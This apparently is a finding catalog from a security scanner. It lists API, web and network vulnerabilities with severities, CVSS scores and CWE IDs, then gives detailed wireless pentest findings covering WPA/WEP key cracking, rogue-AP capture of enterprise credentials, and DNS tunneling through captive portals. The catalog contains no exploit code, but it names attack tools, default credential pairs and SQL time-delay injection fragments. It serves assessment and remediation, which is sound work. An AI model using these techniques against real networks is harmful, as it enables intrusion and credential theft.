The API response includes a Via HTTP header that reveals information about intermediate proxies, load balancers, or CDN ...
3.1 CWE-200
SI-020 LOW Information Disclosure: X-Powered-By Header
The API response includes an X-Powered-By header that discloses the application framework or runtime (e.g., PHP/8.1.0, A...
3.7 CWE-200
SI-021 LOW Information Disclosure: X-AspNet-Version Header
The API response includes an X-AspNet-Version header disclosing the exact version of the ASP.NET runtime in use. This ve...
3.7 CWE-200
SI-022 LOW Permissive Security Header: Content-Security-Policy
The API response includes a Content-Security-Policy header, but the policy is overly permissive (e.g., contains 'unsafe-...
3.1 —
SI-023 LOW Permissive Security Header: Strict-Transport-Security
The API response includes a Strict-Transport-Security (HSTS) header, but it is configured with a very short max-age valu...
3.1 —
SI-024 LOW Permissive Security Header: X-Frame-Options
The API response includes an X-Frame-Options header set to ALLOWFROM or a value other than DENY or SAMEORIGIN. ALLOWFROM...
3.1 —
SI-025 LOW Permissive Security Header: X-Content-Type-Options
The API response includes an X-Content-Type-Options header with an invalid or non-standard value rather than the require...
2.6 —
SI-026 LOW Permissive Security Header: Referrer-Policy
The API response includes a Referrer-Policy header set to an overly permissive value such as 'unsafe-url' or 'no-referre...
2.6 —
SI-027 LOW Permissive Security Header: Cache-Control
The API response includes a Cache-Control header, but it allows caching of potentially sensitive responses. For example,...
3.1 —
SI-028 LOW Missing Secure Cookie Attribute: SameSite
An API session cookie does not include the SameSite attribute. Without SameSite, the browser will send the cookie on all...
4.3 614 1004 1275
SI-029 LOW Misconfigured Secure Cookie Attribute: SameSite
An API session cookie includes the SameSite attribute but it is set to 'None' without a legitimate cross-site requiremen...
4.3 614 1004 1275
SI-030 MEDIUM API Specification Exposed
The API's OpenAPI/Swagger specification or equivalent documentation is publicly accessible without authentication (e.g.,...
5.3 —
SI-031 MEDIUM Missing Security Header: Content-Security-Policy
The API response does not include a Content-Security-Policy (CSP) header. Without CSP, the browser applies no restrictio...
5.4 —
SI-032 MEDIUM Missing Security Header: X-Frame-Options
The API response does not include an X-Frame-Options header and the Content-Security-Policy header does not include a fr...
4.3 —
SI-033 MEDIUM Missing Security Header: X-Content-Type-Options
The API response does not include an X-Content-Type-Options: nosniff header. Without this header, browsers may perform M...
4.3 —
SI-034 MEDIUM Missing Security Header: Referrer-Policy
The API response does not include a Referrer-Policy header. Without this header, the browser defaults to 'no-referrer-wh...
4.3 —
SI-035 MEDIUM Missing Security Header: Cache-Control
The API response for a sensitive or authenticated endpoint does not include a Cache-Control header. Without explicit cac...
4.3 —
SI-036 MEDIUM Missing Security Header: Permissions-Policy
The API response does not include a Permissions-Policy header (formerly Feature-Policy). Without this header, the browse...
4.3 —
SI-037 MEDIUM Missing Secure Cookie Attribute: HttpOnly
An API session or authentication cookie is set without the HttpOnly attribute. Without HttpOnly, client-side JavaScript ...
5.4 614 1004 1275
SI-038 MEDIUM Missing Secure Cookie Attribute: Secure
An API session or authentication cookie is set without the Secure attribute. Without the Secure flag, the browser will t...
5.9 614 1004 1275
SI-039 MEDIUM Rate Limit Response Missing Retry-After Header
The API returns a 429 Too Many Requests response when rate limits are exceeded, but does not include a Retry-After heade...
4.3 —
SI-040 MEDIUM CRLF Injection in API Parameter
Siphon detected that an API parameter containing CRLF sequences (\r\n, %0d%0a) is reflected in HTTP response headers wit...
5.4 —
SI-041 MEDIUM Log Injection via User-Agent / Query Parameter
Siphon detected that user-controlled input (User-Agent header or query parameters) is written to application logs withou...
4.3 —
SI-042 MEDIUM SOAP Verbose Fault / Error Disclosure
The SOAP API returns verbose fault messages that disclose internal details such as stack traces, server-side file paths,...
5.3 —
SI-043 MEDIUM GraphQL Field Suggestions Enabled
The GraphQL API returns field suggestion messages (e.g., "Did you mean 'password'?") when a queried field name is simila...
4.3 —
SI-044 MEDIUM GraphQL Error Response Leaks Internal Details
GraphQL error responses from this API expose internal implementation details including stack traces, resolver function n...
5.3 —
SI-045 MEDIUM GraphQL Directive Abuse — Accepted Without Limit
The GraphQL API accepts queries containing multiple repeated directives (e.g., @include, @skip, or custom directives) on...
5.3 —
SI-046 MEDIUM GraphQL Fragment Sprawl — No Fragment Count Limit
The GraphQL API accepts queries containing an unrestricted number of fragment definitions. An attacker can define hundre...
5.3 —
SI-047 MEDIUM JSONP Endpoint Detected — Potential Data Leakage
Siphon detected an API endpoint that supports JSONP (JSON with Padding), indicated by a callback parameter that wraps th...
5.4 —
SI-048 MEDIUM Possible Mass Assignment — Response Differs
Siphon detected that submitting additional or undocumented fields in an API request body produces a different response (...
5.4 —
SI-049 MEDIUM Possible SSRF — Delayed Response
Siphon observed a significant and consistent response delay when injecting an internal or external URL into an API param...
5.8 —
SI-050 MEDIUM JWT Uses Symmetric Algorithm (HS256)
The API issues JWTs signed with a symmetric HMAC algorithm (HS256, HS384, or HS512). Symmetric algorithms use the same s...
4.3 —
SI-051 HIGH Security Misconfiguration / CORS Wildcard with Credentials
The API responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true simultaneously. While mo...
7.5 —
SI-052 HIGH Information Disclosure: Credentials in URL Query Parameters
The API transmits sensitive credentials (API keys, tokens, passwords, or session identifiers) in URL query parameters ra...
7.5 —
SI-053 HIGH Debug / Developer Console Exposed
Siphon detected an accessible debug or developer console endpoint (e.g., /debug, /console, /__debug__, /flask-debugger, ...
7.5 —
SI-054 MEDIUM Server-Timing Header Leaks Authentication Duration
The API includes a Server-Timing header in authentication responses that reveals internal timing information such as dat...
4.3 —
SI-055 MEDIUM API Returns More Fields Than Documented
The API endpoint returns more fields in its response than are documented in the API specification. The extra fields may ...
4.3 —
SI-056 MEDIUM HTTP Method Override — DELETE via POST Accepted
The API accepts HTTP method overrides via the X-HTTP-Method-Override or X-Method-Override header, allowing a POST reques...
5.4 —
SI-057 MEDIUM CSV Injection in User Export
The API's data export endpoint includes user-supplied values in CSV output without sanitization. Spreadsheet application...
5.0 —
SI-058 MEDIUM Business Flow — Numeric Field Accepts Negative/Zero Value
Siphon detected that an API endpoint accepting a numeric field (e.g., quantity, amount, price, discount) processes negat...
5.4 —
SI-059 HIGH Missing Security Header: Strict-Transport-Security
The API does not include a Strict-Transport-Security (HSTS) header in its responses. Without HSTS, browsers do not enfor...
6.5 —
SI-060 HIGH BOLA — Object Enumeration Possible
The API uses predictable, sequential, or guessable object identifiers (e.g., integer IDs: /api/orders/1001, /api/orders/...
7.5 —
SI-061 HIGH BFLA — Broken Function Level Authorization
Siphon confirmed that an API endpoint intended for a higher-privileged role (e.g., manager, moderator) is accessible by ...
8.1 —
SI-062 HIGH Excessive Data Exposure — Sensitive Fields in API Response
The API response includes sensitive fields that should not be returned to the requesting client, such as password hashes...
7.5 —
SI-063 HIGH Cross-User Data Leakage
Siphon confirmed that an authenticated API endpoint returns data belonging to another user when a different user's resou...
8.1 —
SI-064 HIGH Sensitive Data Exposed in API Response
The API response contains sensitive data including but not limited to: full payment card numbers or PAN data, government...
7.5 —
SI-065 HIGH Sensitive Authentication Headers Exposed in Response
The API response headers expose sensitive authentication material such as internal API keys, bearer tokens, session iden...
7.5 —
SI-066 HIGH Missing Rate Limiting
The API endpoint does not enforce any rate limiting on incoming requests. An attacker can send unlimited requests to thi...
7.5 CWE-770
SI-067 HIGH Rate Limit Bypass — Unauthenticated Session Has Separate Bucket
Siphon confirmed a rate limit bypass where requests made without authentication (or with a different credential type) ar...
7.1 —
SI-068 HIGH Rate Limit Bypass via X-Forwarded-For Header
Siphon confirmed that the API's rate limiting can be bypassed by injecting arbitrary IP addresses into the X-Forwarded-F...
7.5 —
SI-069 HIGH Mass Assignment Vulnerability
Siphon confirmed a mass assignment vulnerability where injecting undocumented fields (e.g., role, isAdmin, accountBalanc...
8.1 CWE-915
SI-070 HIGH JWT Uses Insecure Algorithm
The API issues or accepts JWTs using an algorithm that provides insufficient security guarantees. This includes weak alg...
8.1 —
SI-071 HIGH JWT kid Header Path Traversal
The JWT kid (key ID) header parameter is used by the server to locate the signing key on the filesystem, and the server ...
7.5 —
SI-072 HIGH JWT Token Not Invalidated After Logout
Siphon confirmed that a JWT obtained before calling the logout endpoint remains valid and accepted by the API after the ...
7.1 —
SI-073 HIGH CORS — Reflected Origin with Credentials
The API reflects the incoming request's Origin header directly in the Access-Control-Allow-Origin response header and se...
8.1 —
SI-074 HIGH Reflected Cross-Site Scripting (XSS)
Siphon confirmed a reflected Cross-Site Scripting (XSS) vulnerability where user-supplied input from an API parameter is...
7.2 CWE-79 CWE-116
SI-075 MEDIUM GraphQL Introspection Enabled
The GraphQL API has introspection enabled, allowing unauthenticated or authenticated clients to query the complete API s...
5.3 —
SI-076 HIGH GraphQL Batch Query Attack Possible
The GraphQL API accepts batched queries — multiple operations in a single HTTP request submitted as a JSON array. An att...
7.5 —
SI-077 HIGH GraphQL Query Depth Attack
The GraphQL API accepts deeply nested queries without enforcing a maximum query depth limit. An attacker can submit a de...
7.5 —
SI-078 HIGH SOAP Injection — Parameter Reflected or Error Triggered
Siphon detected that SOAP API parameters reflect injected XML content in the response or trigger parser errors indicativ...
7.2 —
SI-079 HIGH SSRF via API Parameter
Siphon confirmed a Server-Side Request Forgery (SSRF) vulnerability where a URL supplied in an API parameter causes the ...
8.6 CWE-918
SI-080 HIGH Business Flow — Workflow Step Directly Accessible
Siphon confirmed that a step in a multi-stage business workflow (e.g., checkout confirmation, order completion, password...
7.5 —
SI-081 HIGH Business Flow — Race Condition (Duplicate Operation)
Siphon confirmed a race condition vulnerability where submitting the same API operation multiple times in parallel resul...
7.1 —
SI-082 HIGH Business Flow — Bulk Endpoint Accepts Unrestricted Batch Size
The API exposes a bulk operation endpoint that accepts an array of items without enforcing a maximum batch size limit. A...
7.5 —
SI-083 CRITICAL Missing Authentication Enforcement
Siphon confirmed that an API endpoint that should require authentication is accessible without any credentials. The endp...
9.8 —
SI-084 CRITICAL BFLA — Admin Endpoint Accessible
Siphon confirmed that an administrative API endpoint is accessible by a non-administrative user or by an unauthenticated...
9.8 —
SI-085 CRITICAL BOLA — Broken Object Level Authorization
Siphon confirmed a Broken Object Level Authorization (BOLA) vulnerability, also known as IDOR (Insecure Direct Object Re...
9.1 —
SI-086 CRITICAL Default Credentials Accepted on API Login Endpoint
The API login endpoint accepts default credentials (e.g., admin/admin, admin/password, admin/1234, root/root, test/test,...
9.8 CWE-307 CWE-521
SI-087 CRITICAL Type Juggling / JSON Type Confusion Authentication Bypass
Siphon confirmed an authentication bypass via JSON type confusion (type juggling). By submitting a non-string value in t...
9.8 —
SI-088 CRITICAL JWT None Algorithm Accepted
Siphon confirmed that the API accepts JWTs signed with the 'none' algorithm (alg: none, alg: None, alg: NONE). The 'none...
9.8 CWE-347
SI-089 CRITICAL SQL Injection in API Parameter
Siphon confirmed a SQL injection vulnerability in an API parameter. User-supplied input is incorporated into a SQL query...
9.8 CWE-20 CWE-89 CWE-943
SI-090 CRITICAL Blind SQL Injection (Boolean-Based)
Siphon confirmed a boolean-based blind SQL injection vulnerability where injecting boolean conditions into an API parame...
9.1 CWE-89
SI-091 CRITICAL Blind SQL Injection (Time-Based)
Siphon confirmed a time-based blind SQL injection vulnerability. Injecting time-delay functions (e.g., SLEEP(5), WAITFOR...
9.1 CWE-89
SI-092 CRITICAL NoSQL Injection in API Parameter
Siphon confirmed a NoSQL injection vulnerability. User-supplied input is incorporated into a NoSQL database query (Mongo...
9.1 CWE-943
SI-093 CRITICAL OS Command Injection in API Parameter
Siphon confirmed OS command injection in an API parameter. User-supplied input is passed directly or with insufficient s...
10.0 CWE-20 CWE-77 CWE-78
SI-094 CRITICAL Server-Side Template Injection (SSTI)
Siphon confirmed Server-Side Template Injection (SSTI) in an API endpoint. User-supplied input is embedded directly into...
9.8 CWE-94
SI-095 HIGH Path Traversal / Local File Inclusion in API
Siphon confirmed a path traversal vulnerability where a filename or path parameter in the API is used to read files from...
8.6 CWE-22 CWE-23 CWE-35
SI-096 HIGH LDAP Injection in API Parameter
Siphon confirmed an LDAP injection vulnerability where user-supplied input is incorporated into an LDAP query without sa...
7.5 CWE-90
SI-097 CRITICAL JWT Algorithm Confusion Attack (RS256 to HS256)
Siphon confirmed an algorithm confusion attack where the API normally uses RS256 (asymmetric RSA) but also accepts token...
9.8 —
SI-098 CRITICAL JWT — jku/x5u Header Injection (JWKS Spoofing)
Siphon confirmed that the API fetches the JWT verification key from the URL specified in the jku (JWK Set URL) or x5u (X...
9.8 —
SI-099 CRITICAL JWT — kid Header SQL Injection
Siphon confirmed that the JWT kid (key ID) header value is incorporated into a SQL query without parameterization when l...
9.8 —
SI-100 CRITICAL JWT HMAC Secret Cracked
Siphon successfully cracked the HMAC signing secret used by the API to sign JWTs using offline dictionary or brute-force...
9.8 —
SI-101 HIGH GraphQL Introspection Enabled (Production)
The GraphQL API has introspection enabled in what appears to be a production environment (based on the target scope or d...
6.5 —
SI-102 HIGH WS-Addressing ReplyTo/FaultTo Header Accepted (SSRF Risk)
Siphon detected that the SOAP API accepts WS-Addressing headers (wsa:ReplyTo or wsa:FaultTo) containing attacker-control...
8.6 CWE-918
SI-103 CRITICAL WS-Security Bypass — Expired Timestamp / Empty PasswordDigest Accepted
Siphon confirmed that the SOAP API's WS-Security implementation accepts messages that fail one or more fundamental authe...
9.8 CWE-287 CWE-290
SI-104 MEDIUM WSDL Enumeration — Service Definition Exposed
Siphon retrieved the WSDL (Web Services Description Language) document for the SOAP service without authentication. A WS...
5.3 CWE-284 CWE-200
SI-105 HIGH Unsafe API Consumption — Webhook URL Accepted (SSRF Risk)
Siphon confirmed that the API accepts a caller-supplied URL in a webhook registration or callback parameter and the serv...
7.5 CWE-918
SI-106 MEDIUM Unsafe API Consumption — Open Redirect to External URL
Siphon confirmed an open redirect vulnerability where a URL-type parameter accepted by the API is used to construct a re...
6.1 —
SI-107 HIGH Unsafe API Consumption — Serialization Markers in Response
Siphon detected serialization markers in the API response body that indicate the application is transmitting serialized ...
7.8 CWE-502
SI-108 CRITICAL Weak JWT Secret
Siphon identified that the HMAC secret used to sign JWTs is weak — matching a known default value, a short string, a dic...
9.8 CWE-347 CWE-521
SI-109 HIGH Sensitive File Exposed
Siphon discovered that the API server exposes a sensitive file at a publicly accessible path without authentication. Sen...
7.5 CWE-530
SI-110 CRITICAL XML External Entity (XXE) Injection in API
Siphon confirmed an XML External Entity (XXE) injection vulnerability where the API accepts XML input and the underlying...
9.8 CWE-611 CWE-827
SI-111 MEDIUM HTTP Methods: Unsafe Methods Enabled
Siphon confirmed that the HTTP TRACE method is enabled on the API server or a specific endpoint. The TRACE method is a d...
3.1 CWE-16
SI-112 MEDIUM HTTP Method Override Accepted
Siphon confirmed that the API honours HTTP method override headers (X-HTTP-Method-Override, X-Method-Override, X-HTTP-Me...
5.4 CWE-650
SI-113 HIGH Unauthenticated Access to Endpoint
Siphon confirmed that an API endpoint which is expected to require authentication returns a successful non-error respons...
7.5 —
SI-114 HIGH Missing Rate Limit on Sensitive Endpoint
Siphon confirmed that an API endpoint handling a sensitive operation — such as authentication, password reset, OTP valid...
7.5 CWE-770
SI-115 INFO CORS Wildcard (*) Detected
Siphon detected that the API responds with Access-Control-Allow-Origin: * on one or more endpoints. A wildcard CORS poli...
3.7 —
SI-116 HTTP Method Override Accepted — {override_method} via {override_hdr} — —
SI-117 Mass Assignment — {attack_label.title()} Accepted — —
SI-118 Sensitive File Exposed: {fpath} — —
SI-119 Wildcard (*) Detected: {base_url} — —
SI-120 Broken Object Level Authorization (IDOR / BOLA) 8.1 CWE-639
SI-121 CORS Misconfiguration Allowing Credential Leakage 7.4 CWE-942
SI-122 CRLF Injection 6.1 93 113
SI-123 JWT Algorithm Confusion Attack (RS256 → HS256) — —
SI-124 JWT None Algorithm Authentication Bypass 9.1 CWE-347
SI-125 LDAP Injection 7.5 CWE-90
SI-126 Mass Assignment / Privilege Escalation via Parameter Binding 8.1 CWE-915
SI-127 NoSQL Injection 8.1 CWE-943
SI-128 OS Command Injection 9.8 CWE-20 CWE-77 CWE-78
SI-129 Path Traversal / Local File Inclusion 7.5 CWE-22 CWE-23 CWE-35
SI-130 CRITICAL SQL Injection (Error-Based)
Siphon observed a database error message in the response after injecting SQL metacharacters into a parameter, indicating...
9.8 CWE-89
SI-131 Unsafe Consumption — Open Redirect to External URL 6.1 CWE-20 CWE-601
SI-132 Unsafe Consumption — Serialization Markers in API Response 8.1 CWE-502
SI-133 Weak or Default Credentials Accepted 9.8 CWE-1392
SI-134 XML External Entity (XXE) Injection 8.1 CWE-611 CWE-827
SI-135 LOW Enumerated Parameter Value Restriction Not Enforced
An API parameter that declares a fixed set of allowed (enumerated) values accepted a value outside that set instead of r...
— CWE-20
SI-136 LOW Numeric Parameter Boundary Not Enforced
A numeric API parameter that declares minimum/maximum bounds accepted a value far outside the declared range instead of ...
— CWE-20
SI-137 MEDIUM Parameter Type Confusion Accepted
A parameter declared as a scalar type (string/number/boolean) accepted a structurally different JSON type (an array or o...
— CWE-843 CWE-20
SI-138 LOW HTTP Parameter Pollution
The API accepted duplicate occurrences of the same query parameter and the response differed from the single-value basel...
— CWE-235
SI-139 LOW Content-Type Confusion — Alternate Body Format Accepted
An endpoint documented to consume JSON also accepted a request body in an alternate format (form-urlencoded), showing th...
— CWE-436
SI-140 MEDIUM Unbounded Resource Consumption via Pagination Parameter
A pagination-style parameter (e.g. limit / page_size / count) accepted an extreme value and the API returned a materiall...
— CWE-770
SI-141 MEDIUM Insecure WebSocket Transport (Unencrypted ws://)
A WebSocket endpoint is served over unencrypted ws:// rather than wss://, so all frames are transmitted in cleartext.
— CWE-319
SI-142 HIGH WebSocket Handshake Accepts Arbitrary Origin (CSWSH Risk)
The WebSocket handshake completed with an attacker-controlled Origin header and without credentials, indicating the serv...
— CWE-346 CWE-1385
SI-143 MEDIUM Unauthenticated Server-Sent Events (SSE) Stream
A Server-Sent Events stream (text/event-stream) is accessible without authentication.
— CWE-306
SI-144 LOW Server-Sent Events Stream Over Cleartext HTTP
A Server-Sent Events stream is served over cleartext http:// rather than https://.
— CWE-319
SI-145 LOW gRPC Server Reflection Exposed
The gRPC server has server reflection enabled and enumerates its full set of services and methods to any client.
— CWE-200
SI-146 MEDIUM Insecure gRPC Transport (Plaintext / No TLS)
The gRPC endpoint accepted a plaintext (non-TLS) connection.
— CWE-319
SI-147 MEDIUM Application Responses Identify Valid Accounts
The login endpoint returns distinguishable responses (status codes, error messages, response bodies, or timing) for vali...
5.3 CWE-204
SI-148 LOW Timing-Based Username Enumeration
The login endpoint shows a measurable timing difference between valid and invalid username submissions. Non-constant-tim...
3.7 CWE-208
SI-149 MEDIUM Improper Input Validation Results in Server Error
An API endpoint returns a 500-series HTTP status code when sent malformed or unexpected input. This indicates the server...
5.3 CWE-20 CWE-600
SI-150 LOW Information Disclosure: Internal Hostname in API Response
API response headers or body contain internal hostnames (e.g., *.local, *.internal, *.corp). Internal hostnames reveal n...
3.7 CWE-200
SI-151 HIGH JWT Scope/Claim Manipulation Accepted
The server accepted a JWT with modified scope, role, or permission claims without rejecting the tampered token. This ind...
8.1 CWE-269 CWE-285
SI-152 LOW Excessive API Session Timeout
API bearer tokens remain valid after extended periods of inactivity. The tested token was still accepted by the server a...
3.7 CWE-613
SI-153 MEDIUM Session Tokens Remain Valid After Logout
Cookie-based session tokens remain valid after calling the logout endpoint. The session cookie can be replayed against p...
5.4 CWE-613
SI-154 MEDIUM Unhandled Application Exception
An API response contains stack traces, exception class names, debug output, or SQL error messages. This typically occurs...
5.3 CWE-209 CWE-215
SI-155 MEDIUM JWT Token Contains Personally Identifiable Information
JWT access token payload contains personally identifiable information (PII) such as email, phone number, or address. JWT...
5.3 CWE-200 CWE-359
SI-156 HIGH Bearer Token Transmitted in URL Query Parameter
Authentication tokens (access_token, bearer, jwt) are transmitted in URL query parameters rather than in headers or cook...
7.5 CWE-598
SI-157 HIGH Information Disclosure: API Key in URL Query Parameter
API keys are transmitted in URL query parameters (api_key, apiKey, client_secret, etc.) rather than in headers.
7.5 CWE-598
SI-158 HIGH Session Token Not Rotated After Authentication
The session cookie retains the same value before and after authentication. An attacker who sets a pre-authentication ses...
7.5 CWE-384
SI-159 MEDIUM CORS Allows Null Origin
The API reflects 'null' as an allowed CORS origin. Sandboxed iframes, data: URIs, and local files send Origin: null, all...
5.4 CWE-942 CWE-346
SI-160 LOW GraphQL Field Name Suggestions Enabled
The GraphQL server returns 'Did you mean ...?' suggestions in error responses for misspelled field names, enabling schem...
3.7 CWE-200
SI-161 MEDIUM GraphQL Batching Enabled Without Limit
The GraphQL endpoint accepts batched queries (array of operations) in a single request without enforcing a batch size li...
5.3 CWE-770
SI-162 MEDIUM GraphQL Alias-Based Rate Limit Bypass
The GraphQL endpoint resolves multiple aliased copies of the same field in a single request, allowing attackers to multi...
5.3 CWE-770
SI-163 MEDIUM Information Disclosure: OAuth Token via Endpoint
The OAuth token info/introspection endpoint returns token metadata (scope, audience, user identity) to any bearer of the...
5.3 CWE-200
SI-164 MEDIUM Postman Collection or Environment File Exposed
Postman collection or environment files are publicly accessible. Collections expose full API endpoint inventory with exa...
5.3 CWE-538
SI-165 INFO Rate Limit Headers Expose Throttling Configuration
API responses include rate-limiting headers (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) that reveal ex...
— CWE-200
SI-166 LOW API Version Header Manipulation Yields Different Response
The API accepts version negotiation headers (X-API-Version, Accept-Version, Api-Version) and returns different responses...
3.7 CWE-200
SI-167 INFO Web Endpoint Discovered (Katana)
Katana web crawler discovered accessible web paths, JavaScript-referenced endpoints, and linked resources on the target ...
— CWE-200
SI-170 MEDIUM SSL/TLS Forward Secrecy: Not Supported
The API endpoint's TLS configuration does not offer forward secrecy. Cipher suites without ephemeral key exchange (ECDHE...
5.9 CWE-326
PT-001 MEDIUM Hardcoded Public DNS Resolvers Bypass Enterprise Controls
Device sends DNS queries directly to public resolvers (8.8.8.8, 1.1.1.1, etc.) instead of using the DHCP-supplied resolv...
5.3 CWE-441 CWE-200
PT-002 LOW Cleartext DNS Exposes External Service Topology
All DNS queries are sent over cleartext UDP/53. Any on-path observer can enumerate the full set of external services the...
3.7 CWE-200 CWE-319
PT-003 LOW Device Identity Leaked in TLS Client Certificate (mTLS)
The device authenticates with a client X.509 certificate (mTLS). The certificate subject is sent in cleartext during the...
3.7 CWE-200 CWE-319
PT-004 LOW TLS ClientHello Offers Legacy CBC Cipher Suites
The device's TLS ClientHello offers legacy CBC-mode cipher suites alongside modern AEAD ciphers. While AEAD is typically...
3.1 CWE-327 CWE-326
PT-005 MEDIUM DHCP Hostname Discloses Asset Identifier
The device populates DHCP option 12 (Host Name) with an asset identifier (serial number, device tag) that is broadcast o...
4.3 CWE-200 CWE-359
PT-006 MEDIUM DNS Search-Suffix Appended to Fully-Qualified Hostnames
The device's DNS client appends the DHCP-supplied search domain to hostnames that are already fully-qualified. RFC 1535 ...
6.5 CWE-345 CWE-20
PT-101 HIGH SMBv1 Traffic Observed (EternalBlue / NotPetya exposure)
SMBv1 protocol traffic observed between the device and one or more internal peers. SMBv1 is deprecated since 2014 and is...
8.1 CWE-477
PT-102 HIGH LLMNR / NBT-NS Name Resolution in Use (Responder Surface)
LLMNR or NetBIOS Name Service broadcast-based name resolution is in use on the segment. These protocols are abused by Re...
8.1 CWE-290 CWE-300
PT-103 LOW SSDP / UPnP Broadcasts Expose Internal Services
SSDP/UPnP discovery traffic observed on the segment. SSDP advertises every UPnP-aware device (smart TVs, consumer router...
3.1 CWE-200
PT-104 LOW mDNS Activity Exposes Device Identity on Internal Segment
Device emits mDNS queries and/or responses on the local segment. mDNS exposes the device's hostname and services to any ...
3.1 CWE-200
PT-105 LOW LLDP Topology / Switch Firmware Disclosure
LLDP TLVs observed on the segment leak switch identity, model and firmware. Information that downstream attackers can us...
3.1 CWE-200
PT-106 MEDIUM ARP Anomalies (Duplicate IP-to-MAC Mappings)
Duplicate ARP entries observed — one IP advertised by multiple MAC addresses. Possible legitimate HA pair, gratuitous AR...
6.5 CWE-290 CWE-300
PT-107 HIGH Cleartext FTP Traffic Observed (credentials in plaintext)
FTP control-channel traffic observed in cleartext. FTP USER/PASS commands and file contents are passively captureable by...
7.4 CWE-319 CWE-523
PT-108 HIGH Cleartext Telnet Traffic Observed
Telnet traffic observed in cleartext. Telnet credentials and keystrokes are sent in plaintext and trivially captured by ...
7.4 CWE-319 CWE-523
PT-109 MEDIUM SNMPv1/v2c Community String in Cleartext
SNMP community strings (passwords) observed in plaintext. Communities like 'public' / 'private' / vendor-default values ...
5.3 CWE-319 CWE-521
PT-110 HIGH HTTP Basic Authentication Observed in Cleartext
HTTP Basic Auth headers observed in cleartext. Authorization: Basic <base64> is one base64-decode step away from usernam...
7.4 CWE-319 CWE-523
PT-111 MEDIUM LDAP Bind Observed Without TLS
LDAP bind request observed in cleartext. Without LDAPS or StartTLS, the bind DN and password are exposed.
5.9 CWE-319 CWE-523

Detailed View

CRITICAL AETHER-001 — WPA Pre-Shared Key Cracked
Description: wifite2 successfully recovered the WPA/WPA2/WPA3 pre-shared key (PSK) for the target SSID via offline dictionary attack against a captured 4-way handshake or PMKID. An attacker with this key can decrypt all past and future traffic on the network (unless PMF/forward secrecy is enforced) and authenticate as a legitimate client.
Remediation: Replace the PSK with a strong random passphrase of at least 20 characters that does not appear in any common wordlist. Enforce WPA3-SAE where hardware supports it. Rotate the PSK immediately and audit which devices have stored it. Consider migrating to WPA3-Enterprise with certificate-based authentication for environments requiring stronger security.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
CRITICAL AETHER-003 — WPA-Enterprise Credentials Captured
Description: EAPHammer deployed a rogue AP that successfully impersonated the target WPA-Enterprise network, downgrades the 802.1X EAP exchange, and captured an MSCHAPv2 challenge/response or NTLM hash from an authenticating client. These hashes can be cracked offline or used directly in pass-the-hash attacks to authenticate to internal Windows/Active Directory resources.
Remediation: Deploy client-side certificate validation to prevent clients from connecting to rogue APs: configure the supplicant to validate the RADIUS server certificate against a pinned CA certificate and reject connections when the certificate does not match. Disable weaker EAP methods (PEAP/MSCHAPv2, EAP-MD5) in favour of EAP-TLS with mutual certificate authentication. Train users not to dismiss certificate warnings.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CRITICAL AETHER-013 — WEP Key Cracked
Description: aircrack-ng recovered the WEP key using the PTW statistical attack against collected IVs. With the key an attacker can decrypt all past and future traffic in real time, inject arbitrary 802.11 frames, and authenticate as a legitimate station. The network must be treated as fully compromised. All credentials, session tokens, and data transmitted over this network must be assumed captured by an adversary.
Remediation: Treat the network as compromised. Replace WEP with WPA3-Personal immediately. Rotate all credentials used on devices that connected to this network. Review logs for unauthorised access since the network was deployed. Notify affected users. Replace hardware that cannot support WPA2.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CRITICAL AETHER-018 — MSCHAPv2 Hash Cracked via asleap
Description: asleap successfully cracked the MSCHAPv2 challenge/response captured by EAPHammer's rogue AP. MSCHAPv2 is inherently weak: the challenge is 56-bit DES-based and the response leaks the NT hash, which can be cracked offline in hours on consumer hardware. The recovered plaintext password can be used for pass-the-hash attacks against Windows/Active Directory resources, VPN authentication, and other services using the same credential.
Remediation: Migrate from PEAP/MSCHAPv2 to EAP-TLS with mutual certificate authentication, which is not susceptible to rogue AP credential capture. If MSCHAPv2 must remain in use, configure clients to validate the RADIUS server certificate against a pinned CA and reject connections on certificate mismatch. Immediately rotate all affected credentials and audit for unauthorized access using the cracked password.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CRITICAL AETHER-020 — Rogue AP — WPA Pre-Shared Key Phished via Captive Portal
Description: A client associated with the rogue AP and submitted a WPA PSK via a captive portal page that mimicked the target network's authentication interface. The submitted credential was validated against the captured PMKID and confirmed as the correct pre-shared key. This attack requires no prior knowledge of the PSK and succeeds whenever a user can be deceived into re-entering their credentials after an unexpected disconnection.
Remediation: Migrate to WPA3-SAE, which is not vulnerable to this class of credential phishing attack. As an interim control, restrict PSK distribution to trusted channels and train users to be suspicious of any captive portal requesting their Wi-Fi password. Enable WIDS/WIPS to detect and block rogue APs.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CRITICAL AETHER-021 — KARMA / MANA Attack — Client Credentials Captured
Description: A KARMA/MANA rogue AP responded to probe requests from clients seeking previously associated networks and captured credentials from clients that automatically connected. This attack exploits devices that broadcast previously associated SSIDs in probe requests, allowing an attacker to impersonate any remembered network and intercept authentication material.
Remediation: Configure client devices to send directed probe requests only (not broadcast) and to use random MAC addresses for probe requests. Disable auto-connect for open and low-trust networks. Enable PMF on all production networks. Ensure clients require server certificate validation before completing EAP authentication.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CRITICAL AETHER-025 — EAP Downgrade — Weak EAP Method Credentials Captured
Description: EAPHammer with balanced negotiation captured credentials by accepting a weaker EAP method (e.g. PEAP/MSCHAPv2 or EAP-MD5) offered by a client whose supplicant was not locked to a specific EAP type. MSCHAPv2 hashes obtained this way can be cracked offline or relayed directly to Windows domain services without cracking.
Remediation: Lock client supplicants to a specific permitted EAP method and enforce server certificate validation. Disable weaker EAP types (PEAP/MSCHAPv2, EAP-FAST without PAC validation, EAP-MD5) at both the RADIUS server and client policy levels. Migrate to EAP-TLS with mutual certificate authentication where possible.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CRITICAL AETHER-CAP-DNS-TUNNEL — Captive Portal: DNS Tunneling Viability Confirmed
Description: A long random-subdomain DNS query (40 chars, characteristic of DNS tunneling tools) was successfully forwarded by the captive portal's network to an external resolver. This proves DNS tunneling tools (iodine, dnscat2, dns2tcp) can establish a covert channel through the portal.
